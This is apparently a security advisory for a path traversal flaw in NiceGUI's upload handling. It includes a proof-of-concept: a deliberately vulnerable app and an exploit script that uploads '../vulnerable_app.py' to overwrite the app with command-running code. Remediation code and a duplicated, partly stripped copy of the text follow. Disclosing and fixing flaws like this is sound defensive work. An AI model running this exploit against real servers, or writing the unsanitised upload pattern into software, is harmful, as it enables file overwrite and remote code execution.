Summary
NiceGUI's FileUpload.name property exposes client-supplied filename metadata without sanitization, enabling path traversal when developers use the pattern UPLOAD_DIR / file.name. Malicious filenames containing ../ sequences allow attackers to write files outside intended directories, with potential for remote code execution through application file overwrites in vulnerable deployment patterns. This design creates a prevalent security footgun affecting applications following common community patterns.
Note: Exploitation requires application code incorporating file.name into filesystem paths without sanitization. Applications using fixed paths, generated filenames, or explicit sanitization are not affected.
Details
Vulnerable Component: nicegui/elements/upload_files.py (upload_files.py#L79-L82 and upload_files.py#L110-L115)
Affected Methods: SmallFileUpload.save()and LargeFileUpload.save()
async def save(self, path: str | Path) -> None:
target = Path(path)
target.parent.mkdir(parents=True, exist_ok=True)
await run.io_bound(target.write_bytes, self._data)Root Cause: The save() method performs no validation on the provided path parameter. It accepts:
- Relative paths with
../ sequences
- Absolute paths
- Any file system location writable by the process
When developers use e.file.name (controlled by the attacker) in constructing save paths, directory traversal occurs:
save_path = UPLOAD_DIR / e.file.name # e.file.name = "../app.py"
await e.file.save(save_path) # Writes outside UPLOAD_DIR
PoC
cd /tmp && mkdir -p evilgui && cd evilgui
python3 -m venv evilgui && source evilgui/bin/activate
pip install nicegui
cat > vulnerable_app.py << 'EOF'
from nicegui import ui
from pathlib import Path
UPLOAD_DIR = Path('./uploads')
UPLOAD_DIR.mkdir(exist_ok=True)
@ui.page('/')
def index():
async def handle_upload(e):
save_path = UPLOAD_DIR / e.file.name
await e.file.save(save_path)
ui.notify(f'File saved: {e.file.name}')
ui.upload(on_upload=handle_upload, auto_upload=True)
ui.run(port=8080, reload=False)
EOF
python3 vulnerable_app.py &cat > exploit.py << 'EOF'
import requests, re, time
s = requests.Session()
s.get('http://localhost:8080')
time.sleep(2)
html = s.get('http://localhost:8080').text
match = re.search(r'/_nicegui/client/([^/]+)/upload/(\d+)', html)
upload_url = f'http://localhost:8080/_nicegui/client/{match[1]}/upload/{match[2]}'
payload = '''from nicegui import ui
import subprocess
@ui.page("/")
def index():
ui.label(subprocess.check_output(["id"], text=True))
ui.run(port=8080, reload=False)
'''
s.post(upload_url, files={'file': ('../vulnerable_app.py', payload, 'text/x-python')})
EOF
python3 exploit.py
- Restart the application to execute the injected code:
pkill -f vulnerable_app && python3 vulnerable_app.py
Impact
Affected Applications: All NiceGUI applications using ui.upload() where developers save files with e.file.save() and include user-controlled filenames (e.g., e.file.name) in the path.
Attack Capabilities:
- Write files to any location writable by the application process
- Overwrite Python application files to achieve remote code execution upon restart
- Overwrite configuration files to alter application behavior
- Write SSH keys, systemd units, or cron jobs for persistent access
- Deny service by corrupting critical files
Exploitability: Trivially exploitable without authentication. Attackers simply upload a file with a malicious filename like ../../../app.py to escape the upload directory. The vulnerability is prevalent in production applications as developers naturally use e.file.name directly, following patterns shown in community examples.
Remediation
For Users
async def handle_upload(e):
safe_name = Path(e.file.name).name # Strip directory components!
await e.file.save(UPLOAD_DIR / safe_name)For Maintainers
async def save(self, path: str | Path, *, base_dir: Path | None = None) -> None:
target = Path(path).resolve()
if base_dir is not None:
base_dir = base_dir.resolve()
if not target.is_relative_to(base_dir):
raise ValueError(
f"Path '{target}' escapes base directory '{base_dir}'"
)
target.parent.mkdir(parents=True, exist_ok=True)
await run.io_bound(target.write_bytes, self._data)References
k14uz Reporter
falkoschindler Remediation developer
evnchn Analyst
Summary
NiceGUI's
FileUpload.nameproperty exposes client-supplied filename metadata without sanitization, enabling path traversal when developers use the patternUPLOAD_DIR / file.name. Malicious filenames containing../sequences allow attackers to write files outside intended directories, with potential for remote code execution through application file overwrites in vulnerable deployment patterns. This design creates a prevalent security footgun affecting applications following common community patterns.Note: Exploitation requires application code incorporating
file.nameinto filesystem paths without sanitization. Applications using fixed paths, generated filenames, or explicit sanitization are not affected.Details
Vulnerable Component:
nicegui/elements/upload_files.py(upload_files.py#L79-L82 and upload_files.py#L110-L115)Affected Methods:
SmallFileUpload.save()andLargeFileUpload.save()Root Cause: The
save()method performs no validation on the provided path parameter. It accepts:../sequencesWhen developers use
e.file.name(controlled by the attacker) in constructing save paths, directory traversal occurs:PoC
Impact
Affected Applications: All NiceGUI applications using
ui.upload()where developers save files withe.file.save()and include user-controlled filenames (e.g.,e.file.name) in the path.Attack Capabilities:
Exploitability: Trivially exploitable without authentication. Attackers simply upload a file with a malicious filename like
../../../app.pyto escape the upload directory. The vulnerability is prevalent in production applications as developers naturally usee.file.namedirectly, following patterns shown in community examples.Remediation
For Users
For Maintainers
References